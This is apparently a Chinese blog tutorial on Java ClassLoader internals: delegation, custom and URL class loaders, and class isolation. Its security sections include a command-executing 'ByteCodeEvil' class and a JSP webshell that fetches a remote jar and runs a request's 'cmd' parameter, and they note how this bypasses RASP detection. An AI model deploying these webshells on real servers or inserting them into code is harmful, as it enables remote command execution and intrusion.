也许每个人出生的时候都以为这世界都是为他一个人而存在的,当他发现自己错的时候,他便开始长大

少走了弯路,也就错过了风景,无论如何,感谢经历


0x01 前言

Java 分为三个主要版本

  • Java SE(Java Platform,Standard Edition,Java平台标准版)
  • Java EE(Java Platform Enterprise Edition,Java平台企业版)
  • Java ME(Java Platform,Micro Edition,Java平台微型版)

打包JAVA

  • 新建项目–默认下一步

  • 改项目名字

  • 新建一个源码包,例如:com.baidu.www

  • 再新建一个class 类

  • 补齐代码
public static void main(String[] args) {}

  • 添加测试代码
package com.baidu.www;public class TestOrangey {public static void main(String[] args) {System.out.println("Holle Orangey");}
}

  • file点击—>project structure添加对应的包和类,准备打包jar包




  • build artifacts

java -cp TestOgHello.jar com.baidu.www.TestOrangey

0x02 ClassLoader(类加载机制)

Java是一个依赖于JVM(Java虚拟机)实现的跨平台的开发语言。Java程序在运行前需要先编译成class文件,Java类初始化的时候会调用java.lang.ClassLoader加载类字节码,ClassLoader会调用JVM的native方法(defineClass0/1/2 )来定义一个java.lang.Class实例。

一切的Java类都必须经过JVM加载后才能运行,而ClassLoader的主要作用就是Java类文件的加载。

在JVM类加载器顺序:

  • Bootstrap ClassLoader(引导类加载器):最顶层的加载类,主要加载核心类库

这个类加载器使用C/C++语言实现的,嵌套在JVM内部,java程序无法直接操作这个类。
它用来加载Java核心类库,如:JAVA_HOME/jre/lib/rt.jar、resources.jar、sun.boot.class.path路径下的包,用于提供jvm运行所需的包。

并不是继承自java.lang.ClassLoader,它没有父类加载器
它加载扩展类加载器和应用程序类加载器,并成为他们的父类加载器
出于安全考虑,启动类只加载包名为:java、javax、sun开头的类

  • Extension ClassLoader(扩展类加载器):扩展的类加载器

Java语言编写,由```sun.misc.Launcher$ExtClassLoader ```实现,可以用Java程序操作这个加载器

派生继承自java.lang.ClassLoader,父类加载器为启动类加载器
从系统属性:java.ext.dirs目录中加载类库,或者从JDK安装目录:jre/lib/ext 目录下加载类库。就可以将自己的包放在以上目录下,就会自动加载进来了

  • App ClassLoader(系统类加载器):加载当前应用的 classpath的所有类

Java语言编写,由sun.misc.Launcher$AppClassLoader 实现。

派生继承自java.lang.ClassLoader,父类加载器为启动类加载器
它负责加载环境变量classpath或者系统属性java.class.path指定路径下的类库
它是程序中默认的类加载器,我们Java程序中的类,都是由它加载完成的。

可以通过ClassLoader#getSystemClassLoader() 获取并操作这个加载器

AppClassLoader是默认的类加载器,如果类加载时不指定类加载器的情况下,默认会使用AppClassLoader加载类,ClassLoader.getSystemClassLoader()返回的系统类加载器也是AppClassLoader

一般情况下,以上3种加载器能满足我们日常的开发工作,不满足时,还可以自定义加载器比如用网络加载Java类,为了保证传输中的安全性,采用了加密操作,那么以上3种加载器就无法加载这个类,这时候就需要自定义加载器。自定义加载器继承java.lang.ClassLoader类,重写findClass()方法如果没有太复杂的需求,可以直接继承URLClassLoader类,重写loadClass方法,具体可参考AppClassLoader和ExtClassLoader

// 方式一:获取当前类的 ClassLoader
clazz.getClassLoader()
// 方式二:获取当前线程上下文的 ClassLoader
Thread.currentThread().getContextClassLoader()
// 方式三:获取系统的 ClassLoader
ClassLoader.getSystemClassLoader()
// 方式四:获取调用者的 ClassLoader
DriverManager.getCallerClassLoader()

PS:某些时候获取一个类的类加载器时候可能会返回一个null值,如:java.io.File.class.getClassLoader()将返回一个null对象,因为java.io.File类在JVM初始化的时候会被Bootstrap ClassLoader(引导类加载器)加载(该类加载器实现于JVM层,采用C++编写),在尝试获取被Bootstrap ClassLoader类加载器所加载的类的ClassLoader时候都会返回null。

ClassLoader类有如下核心方法:

  • loadClass(加载指定的Java类)
  • findClass(查找指定的Java类)
  • findLoadedClass(查找JVM已经加载过的类)
  • defineClass(定义一个Java类)
  • resolveClass(链接指定的Java类)

0x03 Java类

Java是编译型语言,编写的java文件需要编译成后class文件后才能够被JVM运行

例子:

package com.anbai.sec.classloader;public class TestOrangey {public String orangey() {return "Hello Orangey";}}
javac TestOrangey.java

javap -c  -p -l TestOrangey.class

PS:通过JDK自带的javap命令反汇编TestOrangey.class文件对应的com.anbai.sec.classloader.TestOrangey类

hexdump命令查看TestHelloWorld.class文件二进制内容

hexdump -C TestOrangey.class

可以看出来JVM在执行TestHelloWorld之前会先解析class二进制内容,JVM执行的其实就是如上javap命令生成的字节码。

0x04 Java类动态加载方式

Java类加载方式分为显式和隐式,显式即我们通常使用Java反射或者ClassLoader来动态加载一个类对象,而隐式指的是类名.方法名()或new类实例。显式类加载方式也可以理解为类动态加载,我们可以自定义类加载器去加载任意的类。

常用的类动态加载方式:

// 反射加载TestOrangey示例,动态加载类,获取当前类的Class对象
Class.forName("com.anbai.sec.classloader.TestOrangey");// ClassLoader加载TestOrangey示例
this.getClass().getClassLoader().loadClass("com.anbai.sec.classloader.TestOrangey");

Class.forName(“类名”)默认会初始化被加载类的静态属性和方法,如果不希望初始化类可以使用Class.forName(“类名”, 是否初始化类, 类加载器),而ClassLoader.loadClass默认不会初始化类方法

0x05 ClassLoader类加载流程

类加载过程:

当程序要使用某个类的时候,如果该类还没有被加载到内存中,系统会通过加载、连接和初始化三步来实现对该类的初始化。

  • 加载

将class文件中的二进制数据数据读入到内存中,然后将该字节流所代表的静态存储结构转换为方法区中运行的数据结构,最终创建一个Class对象,任何类使用时系统都会创建该类的Class对象

  • 连接:

验证:确保class文件中字节流包含的信息符合当前虚拟机的要求

  • 文件格式的验证:验证是否符合Class文件格式的规范
  • 元数据的验证:对字节码描述的信息进行语法校验
  • 字节码验证:验证程序的控制流程
  • 符号引用验证:发生在虚拟机将二进制符号转换为直接引用的时候

准备:为类变量分配内存并设置初始值

这些变量使用的内存都在方法区中分配这时候分配的内存仅包括,类变量(静态变量),实例变量会在对象实例化的时候,随着对象一起分配在堆内存中

解析:将二进制符号的引用替换为直接引用

  • 初始化:
  • 父类静态(静态的成员变量,静态代码块)
  • 子类静态(子类静态成员变量,子类的静态代码块)
  • 父类非静态(非静态成员变量,构造代码块,构造函数)
  • 子类非静态(子类非静态成员变量,子类构造代码块,子类构造函数)
  • 类加载器的加载机制:

双亲委托机制,当一个类加载器调用loadClass之后,并不会直接加载,而是先交给当前类加载器的父加载器加载,直到最顶层的父加载器。

只有当父加载器无法完成加载的时候,子加载器才会尝试自己加载。

破坏双亲委托机制:实现热部署

理解Java类加载机制并非易事,以一个Java的Orangey来学习ClassLoader

ClassLoader加载com.anbai.sec.classloader.TestOrangey 类重要流程如下:

  • ClassLoader会调用public Class<?> loadClass(String name) 方法加载com.anbai.sec.classloader.TestOrangey类
  • 调用findLoadedClass方法检查TestOrangey类是否已经初始化,如果JVM已初始化过该类则直接返回类对象
  • 如果创建当前ClassLoader时传入了父类加载器(new ClassLoader(父类加载器))就使用父类加载器加载TestOrangey类,否则使用JVM的Bootstrap ClassLoader加载
  • 如果上一步无法加载TestOrangey类,那么调用自身的findClass方法尝试加载TestOrangey类
  • 如果当前的ClassLoader没有重写了findClass方法,那么直接返回类加载失败异常。如果当前类重写了findClass方法并通过传入的com.anbai.sec.classloader.TestOrangey类名找到了对应的类字节码,那么应该调用defineClass方法去JVM中注册该类
  • 如果调用loadClass的时候传入的resolve参数为true,那么还需要调用resolveClass方法链接类,默认为false
  • 返回一个被JVM加载后的java.lang.Class类对象

0x06 自定义ClassLoader

java.lang.ClassLoader是所有的类加载器的父类,java.lang.ClassLoader有非常多的子类加载器,比如我们用于加载jar包的java.net.URLClassLoader其本身通过继承java.lang.ClassLoader类,重写了findClass方法从而实现了加载目录class文件甚至是远程资源文件。

以上说明:如果不通过loadClass来加载类,可以不重写findClass方法

自定义类加载器的步骤:

  • 继承ClassLoader抽象类,也可以继承其他类比如URLClassLoader,AppClassLoader和ExtClassLoader都继承于URLClassLoader
  • 创建构造方法,并且构造方法中调用父类的构造方法,如果要加载的类在当前的classpath下,应该传入空的parent,避免AppClassLoader加载此类
  • 重写findClass方法,在这个方法中需要调用父类的defineClass方法,这个方法需要传入类文件的字节数组
  • 定义一个读取类文件的方法,传入类的全名称,方法字节数组

既然已知ClassLoader具备了加载类的能力,写一个自己的类加载器来实现加载自定义的字节码(以加载TestOrangey类为例)并调用orangey方法

如果com.anbai.sec.classloader.TestOrangey类存在的情况下,可以使用如下代码即可实现调用hello方法并输出:

TestOrangey t = new TestOrangey();
String str = t.orangey();
System.out.println(str);

但是如果com.anbai.sec.classloader.TestOrangey根本就不存在于我们的classpath,那么我们可以使用自定义类加载器重写findClass方法,然后在调用defineClass方法的时候传入TestHelloWorld类的字节码的方式来向JVM中定义一个TestOrangey类,最后通过反射机制就可以调用TestOrangey类的orangey方法了。

例如TestClassLoader代码:

package com.anbai.sec.classloader;import java.lang.reflect.Method;public class TestClassLoader extends ClassLoader {// TestHelloWorld类名private static String testClassName = "com.anbai.sec.classloader.TestHelloWorld";// TestHelloWorld类字节码private static byte[] testClassBytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 17, 10, 0, 4, 0, 13, 8, 0, 14, 7, 0, 15, 7, 0,16, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100,101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101,1, 0, 5, 104, 101, 108, 108, 111, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108,97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 83, 111, 117, 114, 99,101, 70, 105, 108, 101, 1, 0, 19, 84, 101, 115, 116, 72, 101, 108, 108, 111, 87, 111,114, 108, 100, 46, 106, 97, 118, 97, 12, 0, 5, 0, 6, 1, 0, 12, 72, 101, 108, 108, 111,32, 87, 111, 114, 108, 100, 126, 1, 0, 40, 99, 111, 109, 47, 97, 110, 98, 97, 105, 47,115, 101, 99, 47, 99, 108, 97, 115, 115, 108, 111, 97, 100, 101, 114, 47, 84, 101, 115,116, 72, 101, 108, 108, 111, 87, 111, 114, 108, 100, 1, 0, 16, 106, 97, 118, 97, 47, 108,97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 0, 33, 0, 3, 0, 4, 0, 0, 0, 0, 0, 2, 0, 1,0, 5, 0, 6, 0, 1, 0, 7, 0, 0, 0, 29, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0,1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 7, 0, 1, 0, 9, 0, 10, 0, 1, 0, 7, 0, 0, 0, 27, 0, 1,0, 1, 0, 0, 0, 3, 18, 2, -80, 0, 0, 0, 1, 0, 8, 0, 0, 0, 6, 0, 1, 0, 0, 0, 10, 0, 1, 0, 11,0, 0, 0, 2, 0, 12};@Overridepublic Class<?> findClass(String name) throws ClassNotFoundException {// 只处理TestHelloWorld类if (name.equals(testClassName)) {// 调用JVM的native方法定义TestHelloWorld类return defineClass(testClassName, testClassBytes, 0, testClassBytes.length);}return super.findClass(name);}public static void main(String[] args) {// 创建自定义的类加载器TestClassLoader loader = new TestClassLoader();try {// 使用自定义的类加载器加载TestHelloWorld类Class testClass = loader.loadClass(testClassName);// 反射创建TestHelloWorld类,等价于 TestHelloWorld t = new TestHelloWorld();Object testInstance = testClass.newInstance();// 反射获取hello方法Method method = testInstance.getClass().getMethod("hello");// 反射调用hello方法,等价于 String str = t.hello();String str = (String) method.invoke(testInstance);System.out.println(str);} catch (Exception e) {e.printStackTrace();}}}

利用自定义类加载器可以在WebShell中实现加载并调用自己编译的类对象,比如本地命令执行漏洞调用自定义类字节码的native方法绕过RASP检测,也可以用于加密重要的Java类字节码(只能算弱加密)。

  • Java中对象和字节数组互转
package com.company;
import java.io.Serializable;public class test implements Serializable {String name="test";public String example(){return "hello,word!";}
}
  • 创建要转换的类 test ,该类实现序列化
package com.company;// 对象要继承Serializable接口
import java.io.Serializable;public class test implements Serializable {String name="test";public String example(){return "hello,word!";}
}
  • 然后创建 object_array 类
package com.company;import java.io.*;
public class object_array   {public static void main(String[] args) throws Exception {test t =new test();System.out.print ( "java class对象转换为字节数组:\n" );byte[] bufobject = getBytesFromObject(t);for(int i=0 ; i<bufobject.length ; i++) {System.out.print(bufobject[i] + ",");}System.out.println ("\n");System.out.print ("字节数组还原对象:\n");Object object1 = null;object1=deserialize(bufobject);test t1 =(test)object1;System.out.println ("调用对象的成员变量:"+t1.name);System.out.println ("调用对象的成员函数:"+t1.example());}public static byte[] getBytesFromObject(Serializable obj) throws Exception {if (obj == null) {return null;}ByteArrayOutputStream bo = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bo);oos.writeObject(obj);return bo.toByteArray();}public static Object deserialize(byte[] bytes) {Object object = null;try {ByteArrayInputStream bis = new ByteArrayInputStream(bytes);//ObjectInputStream ois = new ObjectInputStream(bis);object = ois.readObject();ois.close();bis.close();} catch (IOException ex) {ex.printStackTrace();} catch (ClassNotFoundException ex) {ex.printStackTrace();}return object;}
}

6.1 案例

  • 命令执行的类

编译成二进制并且用base64编码

import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Base64;public class ByteCodeEvil {String res;public ByteCodeEvil(String cmd) throws IOException {StringBuilder stringBuilder = new StringBuilder();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));String line;while((line = bufferedReader.readLine()) != null) {stringBuilder.append(line).append("\n");}res = stringBuilder.toString();//System.out.println(res);}@Overridepublic String toString() {return res;}public static void main(String[] args) throws IOException {InputStream inputStream = ByteCodeEvil.class.getClassLoader().getResourceAsStream("ByteCodeEvil.class");byte[] bytes = new byte[inputStream.available()];inputStream.read(bytes);String code = Base64.getEncoder().encodeToString(bytes);System.out.println(code);ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");System.out.println(byteCodeEvil);}
}

将上文的类使用javac编译为字节码。通常在代码中加载字节码的过程会进行Base64编码。于是具体的代码中使用Base64解码后,转为类对象,手动触发该类的构造方法即可实现Webshell的功能

String cmd = request.getParameter("cmd");
ClassLoader loader = new ClassLoader() {...};
Class<?> clazz = loader.loadClass("ByteCodeEvil");
Constructor<?> constructor = clazz.getConstructor(String.class);
String result = constructor.newInstance(cmd).toString();

实际上自定义ClassLoader这个过程并不简单,注意到ClassLoader是无法直接在运行时加载字节码的,至少需要重写findClass方法和loadClass方法,其中loadClass方法会先查找该类是否已被加载,调用findLoadedClass方法

如果没有找到,则会调用loadClass方法;如果还是没有找到,会调用findClass方法。如果没有重写该方法的情况,默认是抛出异常。如果重写了该方法,则会自定义加载。

在Java的类加载中的双亲委派机制:

  • 首先会检查该类是否已经被加载,若没有被加载,则会委托父加载器进行装载,只有当父加载器无法加载时,才会调用自身的findClass()方法进行加载。这样避免了子加载器加载一些试图冒名顶替可信任类的不可靠类,也不会让子加载器去实现父加载器实现的加载工作

例如,用户使用自定义加载器加载java.lang.Object类,实际上委派给BootstrapClassLoader加载器。如果用户使用自定义类加载器加载java.lang.Exp类,父类无法加载只能交给自定义类加载器。由于同在java.lang包下,所以Exp类可以访问其他类的protected属性,可能涉及到一些敏感信息

下面重写findClass方法实现自定义类加载:

package com.trevain.classload1;import java.util.Base64;public class TestClassLoader extends ClassLoader{// TestHelloWorld类名private static String testClassName = "ByteCodeEvil";//替换名字@Overridepublic Class<?> findClass(String name) throws ClassNotFoundException {// 只处理TestHelloWorld类if (name.equals(testClassName)) {byte[] bytes = Base64.getDecoder().decode("base64_byte");//替换字节码// 调用JVM的native方法定义TestHelloWorld类return defineClass(testClassName, bytes, 0, bytes.length);}return super.findClass(name);}public static void main(String[] args) {// 创建自定义的类加载器TestClassLoader loader = new TestClassLoader();try {// 使用自定义的类加载器加载TestHelloWorld类Class<?> testClass = loader.findClass(testClassName);// 反射通过构造器新建对象Object testInstance = testClass.getConstructor(String.class).newInstance("net user");System.out.println(testInstance);// 反射获取hello方法//Method method = testInstance.getClass().getMethod("hello");// 反射调用hello方法,等价于 String str = t.hello();//String str = (String) method.invoke(testInstance);//System.out.println(str);} catch (Exception e) {e.printStackTrace();}}
}
  • URL类加载器实现的代码
package com.trevain.classload1;import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;public class URLClassLoaderTest {public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {// 定义远程加载的jar路径URL url = new URL("http://127.0.0.1:8000/javaEvalCmd.jar");// 创建URLClassLoader对象,并加载远程jar包URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 通过URLClassLoader加载远程jar包中的CMD类Class<?> cmdClass = ucl.loadClass("wang.ByteCodeEvil");Object net_user = cmdClass.getConstructor(String.class).newInstance("net user");//System.out.println(net_user);}
}
  • 改成webshell
<%@ page import="java.net.URL" %>
<%@ page import="java.net.URLClassLoader" %>
<html>
<body>
<h2>URLClassLoader加载远程jar的JSP Webshell</h2>
<%response.getOutputStream().write(new URLClassLoader(new URL[]{new URL("http://127.0.0.1:8000/javaEvalCmd.jar")}).loadClass("wang.ByteCodeEvil").getConstructor(String.class).newInstance(String.valueOf(request.getParameter("cmd"))).toString().getBytes());
%>
</body>
</html>

0x07 URLClassLoader

URLClassLoader继承自SecureClassLoader,支持从jar文件和文件夹中获取class,继承于classload,加载时首先去classload里判断是否由bootstrap classload加载过,1.7 新增实现closeable接口,实现在try 中自动释放资源,但捕捉不了.close()异常

public class URLClassLoader extends SecureClassLoader implements Closeable

例子:

  • 一个OrangeyHello.class文件,位于/Users/orangey/Desktop/javaa下
public class OrangeyHello {public OrangeyHello() {System.out.println("Orangey Hello");}
}
  • 通过URLClassLoader加载这个类

注意:如果在当前的classpath也放置一个OrangeyHello.class文件,那么就会被APPClassLoader加载,而且加载不到/Users/orangey/Desktop/javaa下的OrangeyHello.class文件

public class ClassLoaderTest {@Testpublic void urlClassLoaderTest() throws Exception {File file = new File("/Users/orangey/Desktop/javaa");URL url = file.toURI().toURL();ClassLoader loader=new URLClassLoader(new URL[]{url});Class<?> clazz = loader.loadClass("OrangeyHello");System.out.println("当前类加载器"+clazz.getClassLoader());System.out.println("父类加载器"+clazz.getClassLoader().getParent());clazz.newInstance();}
}
  • 但若把URLClassLoader的父类设置为启动类加载器,就避免了委派给AppClassLoader时加载了classpath下的同名类文
public class ClassLoaderTest {@Testpublic void urlClassLoaderTest() throws Exception {File file = new File("/Users/orangey/Desktop/javaa");URL url = file.toURI().toURL();ClassLoader loader=new URLClassLoader(new URL[]{url},null);//设为null表示由根加载器加载Class<?> clazz = loader.loadClass("OrangeyHello");System.out.println("当前类加载器"+clazz.getClassLoader());System.out.println("父类加载器"+clazz.getClassLoader().getParent());clazz.newInstance();}
  • 与反射创建类的区别

反射创建常用Class.forName,通过类的全限定类名创建,但是只能创建classpath内的类,如果一个类不在classpath中,就只能使用类加载器来创建了

URLClassLoader继承了ClassLoader,URLClassLoader提供了加载远程资源的能力,可使用这个特性来加载远程的jar来实现远程的类方法调用来写漏洞利用的payload或者webshell

例子:

  • 远程加载的远程的cmd.jar,编译之前的CMD.class文件
import java.io.IOException;public class CMD {public static Process exec(String cmd) throws IOException {return Runtime.getRuntime().exec(cmd);}}
  • 然后创建TestURLClassLoader.java,加载
package com.anbai.sec.classloader;import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.net.URL;
import java.net.URLClassLoader;public class TestURLClassLoader {public static void main(String[] args) {try {// 定义远程加载的jar路径URL url = new URL("https://orangey.blog.csdn.net/cmd.jar");// 创建URLClassLoader对象,并加载远程jar包URLClassLoader ucl = new URLClassLoader(new URL[]{url});// 定义需要执行的系统命令String cmd = "ls";// 通过URLClassLoader加载远程jar包中的CMD类Class cmdClass = ucl.loadClass("CMD");// 调用CMD类中的exec方法,等价于: Process process = CMD.exec("whoami");Process process = (Process) cmdClass.getMethod("exec", String.class).invoke(null, cmd);// 获取命令执行结果的输入流InputStream           in   = process.getInputStream();ByteArrayOutputStream baos = new ByteArrayOutputStream();byte[]                b    = new byte[1024];int                   a    = -1;// 读取命令执行结果while ((a = in.read(b)) != -1) {baos.write(b, 0, a);}// 输出命令执行结果System.out.println(baos.toString());} catch (Exception e) {e.printStackTrace();}}}
  • 例子:打包一个命令执行的jar包
package wang;import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;public class ByteCodeEvil {String res;public ByteCodeEvil(String cmd) throws IOException {StringBuilder stringBuilder = new StringBuilder();BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));String line;while((line = bufferedReader.readLine()) != null) {stringBuilder.append(line).append("\n");}res = stringBuilder.toString();}@Overridepublic String toString() {return res;}public static void main(String[] args) throws IOException {ByteCodeEvil byteCodeEvil =new ByteCodeEvil("whoami");System.out.println(byteCodeEvil);}
}

运行:

java -cp javaEvalCmd.jar wang.ByteCodeEvil

0x08 类加载隔离

类隔离技术是为了解决依赖冲突而诞生的,它通过自定义类加载器破坏双亲委派机制,然后利用类加载传导规则实现了不同模块的类隔离。

类隔离的原理:每个模块使用独立的类加载器来加载,这样不同模块之间的依赖就不会互相影响。不同类加载器加载的类在 JVM 看来是两个不同的类,因为在 JVM 中一个类的唯一标识是 类加载器+类名。通过这种方式我们就能够同时加载 C 的两个不同版本的类,即使它类名是一样的。注意,这里类加载器指的是类加载器的实例,并不是一定要定义两个不同类加载器。

自定义的类加载器继承 java.lang.ClassLoader,然后重写类加载的方法(findClass(String name)或loadClass(String name) )方法来帮助我们实现了类隔离

  • loadClass(String name,boolean resolve ) :该方法为ClassLoader的入口点,根据指定的二进制名称加载类,系统就是调用ClassLoader的方法来获取指定类对应的Class对象。
  • findClass(String name) :根据二进制名称来查找类

如果需要实现自定义的ClassLoader,可以通过重写以上两个方法来实现,推荐重写findClass()方法,而不是重写loadClass()方法。因为loadClass()方法的执行步骤如下:

  1. 用findLoadedClass(String) 来检查是否已经加载类,如果已经加载则直接返回
  2. 在父类加载器上调用loadClass方法。如果父类加载器为null,则使用根类加载器来加载
  3. 调用findClass(String) 方法查找类

从上面步骤中可以看出,重写findClass()方法可以避免覆盖默认类加载器的父类委托、缓冲机制两种策略。如果重写loadClass()方法,则实现逻辑更为复杂

在ClassLoader里还有一个核心方法:Class defineClass (String name, byte[] b,int off,int len ) 。该方法负责将指定类的字节码文件转化为class对象,该字节码文件可以来源于文件网络

  • 此处不多讲,想了解更多的请前往如下文章:

https://www.cnblogs.com/xmzpc/p/15187495.html

创建类加载器的时候可以指定该类加载的父类加载器,ClassLoader是有隔离机制的,不同的ClassLoader可以加载相同的Class(两则必须是非继承关系),同级ClassLoader跨类加载器调用方法时必须使用反射。

8.1 跨类加载器加载

RASP和IAST经过会用到跨类加载器加载类的情况,因为RASP/IAST 会在任意可能存在安全风险的类中插入检测代码,因此必须得保证RASP/IAST的类能够被插入的类所使用的类加载正确加载,否则就会出现ClassNotFoundException,除此之外,跨类加载器调用类方法时需要特别注意一个基本原则:ClassLoader A和ClassLoader B可以加载相同类名的类,但是ClassLoader A中的Class A和ClassLoader B中的Class A是完全不同的对象,两者之间调用只能通过反射。

  • 跨类加载器加载:
package com.anbai.sec.classloader;import java.lang.reflect.Method;import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_BYTES;
import static com.anbai.sec.classloader.TestClassLoader.TEST_CLASS_NAME;public class TestCrossClassLoader {public static class ClassLoaderA extends ClassLoader {public ClassLoaderA(ClassLoader parent) {super(parent);}{// 加载类字节码defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);}}public static class ClassLoaderB extends ClassLoader {public ClassLoaderB(ClassLoader parent) {super(parent);}{// 加载类字节码defineClass(TEST_CLASS_NAME, TEST_CLASS_BYTES, 0, TEST_CLASS_BYTES.length);}}public static void main(String[] args) throws Exception {// 父类加载器ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();// A类加载器ClassLoaderA aClassLoader = new ClassLoaderA(parentClassLoader);// B类加载器ClassLoaderB bClassLoader = new ClassLoaderB(parentClassLoader);// 使用A/B类加载器加载同一个类Class<?> aClass  = Class.forName(TEST_CLASS_NAME, true, aClassLoader);Class<?> aaClass = Class.forName(TEST_CLASS_NAME, true, aClassLoader);Class<?> bClass  = Class.forName(TEST_CLASS_NAME, true, bClassLoader);// 比较A类加载和B类加载器加载的类是否相等System.out.println("aClass == aaClass:" + (aClass == aaClass));System.out.println("aClass == bClass:" + (aClass == bClass));System.out.println("\n" + aClass.getName() + "方法清单:");// 获取该类所有方法Method[] methods = aClass.getDeclaredMethods();for (Method method : methods) {System.out.println(method);}// 创建类实例Object instanceA = aClass.newInstance();// 获取hello方法Method helloMethod = aClass.getMethod("hello");// 调用hello方法String result = (String) helloMethod.invoke(instanceA);System.out.println("\n反射调用:" + TEST_CLASS_NAME + "类" + helloMethod.getName() + "方法,返回结果:" + result);}}

运行结果:

aClass == aaClass:true
aClass == bClass:falsecom.anbai.sec.classloader.TestHelloWorld方法清单:
public java.lang.String com.anbai.sec.classloader.TestHelloWorld.hello()反射调用:com.anbai.sec.classloader.TestHelloWorld类hello方法,返回结果:Hello World~

0x09 JSP自定义加载后门

自定义类的应用场景:

  • 加密:Java代码可以轻易的被反编译,如果你需要把自己的代码进行加密以防止反编译,可以先将编译后的代码用某种加密算法加密,类加密后就不能再用Java的ClassLoader去加载类了,这时就需要自定义ClassLoader在加载类的时候先解密类,然后再加载
  • 从非标准的来源加载代码:如果你的字节码是放在数据库、甚至是在云端,就可以自定义类加载器,从指定的来源加载类。
  • 以上两种情况在实际中的综合运用:比如你的应用需要通过网络来传输 Java 类的字节码,为了安全性,这些字节码经过了加密处理。这个时候你就需要自定义类加载器来从某个网络地址上读取加密后的字节代码,接着进行解密和验证,最后定义出在Java虚拟机中运行的类

自定义的类加载器继承 java.lang.ClassLoader,然后重写类加载的方法(findClass(String name)或loadClass(String name) )方法来帮助我们实现了类隔离

  • loadClass(String name,boolean resolve ) :该方法为ClassLoader的入口点,根据指定的二进制名称加载类,系统就是调用ClassLoader的方法来获取指定类对应的Class对象。
  • findClass(String name) :根据二进制名称来查找类

如果需要实现自定义的ClassLoader,可以通过重写以上两个方法来实现,推荐重写findClass()方法,而不是重写loadClass()方法。因为loadClass()方法的执行步骤如下:

  1. 用findLoadedClass(String) 来检查是否已经加载类,如果已经加载则直接返回
  2. 在父类加载器上调用loadClass方法。如果父类加载器为null,则使用根类加载器来加载
  3. 调用findClass(String) 方法查找类

从上面步骤中可以看出,重写findClass()方法可以避免覆盖默认类加载器的父类委托、缓冲机制两种策略。如果重写loadClass()方法,则实现逻辑更为复杂

在ClassLoader里还有一个核心方法:Class defineClass (String name, byte[] b,int off,int len ) 。该方法负责将指定类的字节码文件转化为class对象,该字节码文件可以来源于文件网络

例子:

  • 自定义的类加载器:
package com.reflect;import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.lang.reflect.Method;public class CompileClassLoader extends ClassLoader {String path="/Users/orangey/Desktop/javaa";//读取一个文件的内容private byte[] getBytes(String fileName) throws IOException{File file=new File(fileName);long len=file.length();byte[] raw=new byte[(int) len];FileInputStream fin=new FileInputStream(file);//一次读取class文件的全部二进制数据int r=fin.read(raw);if(r!=len){throw new IOException("无法读取全部文件:"+r+"!="+len);}fin.close();return raw;}//定义编译指定JAVA文件的方法private boolean compile(String javaFile) throws IOException{System.out.println("CompileClassLoader:正在编译"+javaFile+"...");//调用系统的javac命令Process p=Runtime.getRuntime().exec("javac "+javaFile);try {//其他线程都等待这个线程完成p.waitFor();} catch (Exception e) {System.out.println(e);}//获取javac线程的退出值int ret=p.exitValue();//此 Process 对象表示的子进程的出口值。根据惯例,值 0 表示正常终止。//返回编译是否成功return ret==0;}//重写ClassLoader的findClass方法protected Class<?> findClass(String name) {Class clazz=null;//将包路径中的点(.)替换成斜线(/)String fileSub=path+name.replace(".", "/");String javaFilename=fileSub+".java";String classFilename=fileSub+".class";File javaFile=new File(javaFilename);File classFile=new File(classFilename);//当指定的Java源文件存在,且class文件不存在;或Java 源文件的修改时间比class文件的修改时间晚时,重新编译if(javaFile.exists()&&(!classFile.exists()||javaFile.lastModified()>classFile.lastModified())){//如果编译失败,或者该class文件不存在try {if (!compile(javaFilename) || !classFile.exists()) {throw new ClassNotFoundException("ClassNotFoundException:"+javaFilename);}} catch (Exception e) {e.printStackTrace();}}//如果class文件存在,系统负责将该文件转换成Class对象if(classFile.exists()){try {//将class文件的二进制数据读入数组byte[] raw=getBytes(classFilename);  //调用classLoader的defineClass方法将二进制数据转换成Class对象clazz=defineClass(name, raw, 0,raw.length);} catch (Exception e) {e.printStackTrace();}       }//如果clazz为null,表明加载失败,则抛出异常if(clazz==null){try {throw new ClassNotFoundException(name);} catch (ClassNotFoundException e) {e.printStackTrace();}}return clazz;}//定义一个主方法public static void main(String[] args) throws Exception {//如果运行该程序时没有参数,即没有目标类if(args.length<1){System.out.println("缺少运行的目标类,请按如下格式运行Java源文件:");System.out.println("类的全路径名   参数,如: com.reflect.Hello  参数1");}//第一个参数是需要运行的类String progClass=args[0];//剩下的参数作为运行目标类时的参数,所以将这些参数复制到一个新数组中String progArgs[]=new String[args.length-1];System.arraycopy(args, 1, progArgs, 0, progArgs.length);CompileClassLoader ccl=new CompileClassLoader();//加载需要运行的类Class<?> clazz=ccl.loadClass(progClass);//获取需要运行类的主方法Method main=clazz.getMethod("main", (new String[0]).getClass());Object argsArray[]={progArgs};main.invoke(null, argsArray);}}
  • 提供一个主类Hello.java (包含main方法)
package com.reflect;public class Hello {public static void main(String[] args) {for(String arg:args){System.out.println("运行的Hello参数为:"+arg);}}
}

